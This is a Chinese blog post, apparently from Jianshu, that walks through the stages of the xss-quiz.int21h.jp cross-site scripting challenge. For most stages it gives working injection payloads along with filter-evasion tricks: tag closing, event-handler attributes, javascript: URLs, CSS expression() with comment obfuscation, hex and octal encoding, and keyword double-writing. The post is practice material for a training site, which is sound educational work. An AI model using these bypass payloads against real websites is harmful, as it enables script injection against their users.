xss-挑战赛

XSS change--http://xss-quiz.int21h.jp/

Stage1--啥都没有

在输入框中随便输入一个数,提交之后检查代码可知道提交后内容放在中间


所以我们需要构建代码使得提交的数据让标签闭合

</b> <script>alert(document.domain)</script><b>


Stage2--关于input中的属性,构造闭合

其实原理与1一样,不过这里的输入放入了input标签中的value中,所以我们的想办法构造闭合,使其弹窗。


构造代码:"> alert(document.domain) <"


Stage 3--改包,实体化与没有实体化

在这里,随便输入一个数发现有两个标签



通过burpsuit抓包发现:有两个p标签:


所以我们需要改标签值为:alert(document.domain);


点击forward

通过:



Stage 4--隐藏标签的发现-type=hidden

同第三关一样,抓包发现多了一个标签:p3=hackme




且输入类型与第二关一样在input 标签中有个hackme



改包构造闭合:

"><script>alert(document.domain);</script>


通过



Stage 5--输入长度限制

提示说:输入框有长度限制

所以有以下两种办法:

1.直接f12改变代码,将input中value的值改为:"><script>alert(document.domain);</script>

直接通过:



2. [endif]抓包更改p1的值

构建input内部函数onmouseover=”alert()”

抓包得到信息p1,更改p1的值为: "onmouseover="alert(document.domain)


点击forward之后,在将鼠标移动到输入框上,即可弹窗

通过!!!


Stage6--符号的转译

思路与第五题一样,这题是将上传的<进行编码了,但是没有对”编码,所以用不了,改成构造:"onmouseover="alert(document.domain);

将鼠标移动到输入框即通过:


Stage7--空格问题,实体化

空格问题,放入进去之后发现value=””与onclick/onmouseover之间是连贯的,即书写问题,加空格即可。


两个方法:

" onclick=alert(document.domain); ------------点击输入框即通过


"  onmouseover=alert(document.domain);  -----------------鼠标移动输入框即可通过



Stage8--javascript伪协议用法

制造一个链接弹出内容

javascript:alert(document.domain);--------------------伪链接   


Stage9--编码的不同

直接绕过---------此处用到老版本IE浏览器UTF-7

赠10关链接:

https://xss-quiz.int21h.jp/stage00010.php?sid=253d17137e8200f763e6cfae5b3392c2983ce9cb

Stage10--文字的单过滤

测试发现domain被过滤了,想办法构造.domain通过


构造语句:

" onclick="alert(document.dodomainmain); -------双写嵌入

" onmouseover="alert(document.dodomainmain); ------

通过!!!


Stage11--阿巴阿巴

打不开了,赠12关链接:

https://xss-quiz.int21h.jp/stage_no012.php?sid=749c68d8bb737e7809b5a73a460ae72636f814f2



网图,听说长这样

思想:


网图,听说思路是这样

Stage12--符号过滤,版本特性利用

此题过滤了符号,但是反撇号没有过滤,在ie浏览器上可以被执行通过:(ie将两个反撇当为一个双引号)

构造语句:`` onclick=alert(document.domain)


Stage13--style中的利用(伪协议)

发现了style=””

并且可以更改输入框颜色:background-color:blue


构造style的语句:

background-color:noen;background:url("javascript:alert(document.domain);");


Stage14--基于html语言的利用

s/(url|script|eval|expression)/xxx/ig;  ------将13题构造语句发送时发现url/script变成了xxx--采用了正则表达式。


在这里利用注释

``Xss:ex/**/pression(alert(document.domain))


Stage15--浏览器特性利用,16进制

在此题中不仅测试:">alert(document.domain)

发现不仅被实例化,并且还被转码了:




测试上述所有语句发现被过滤或者转译了,但是/之过滤了一次,此题采用16进制思想,将<>转成16进制输入即可通过:

\\x3cscript\\x3ealert(document.domain)\\x3c/script\\x3e




Stage16--编码问题,阿巴阿巴

这题过滤了/x,思想和15题差不多但是得用8进制或者unicode编码

构造:

8进制:\\74img src=x οnerrοr=alert(document.domain)\\76

但是网站打不开了

Stage17--阿巴阿巴


网图,ie5版本下做

Stage18--阿巴阿巴

Stage19--伪协议的利用,改链接

最后一关,有点类似与第8关,使用javascript伪协议,直接f12改码:将link的链接改成我们自己的:javascript:alert(document.domain)

点击link:通过!!!


X

©著作权归作者所有,转载或内容合作请联系作者
【社区内容提示】社区部分内容疑似由AI辅助生成,浏览时请结合常识与多方信息审慎甄别。
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

相关阅读更多精彩内容

友情链接更多精彩内容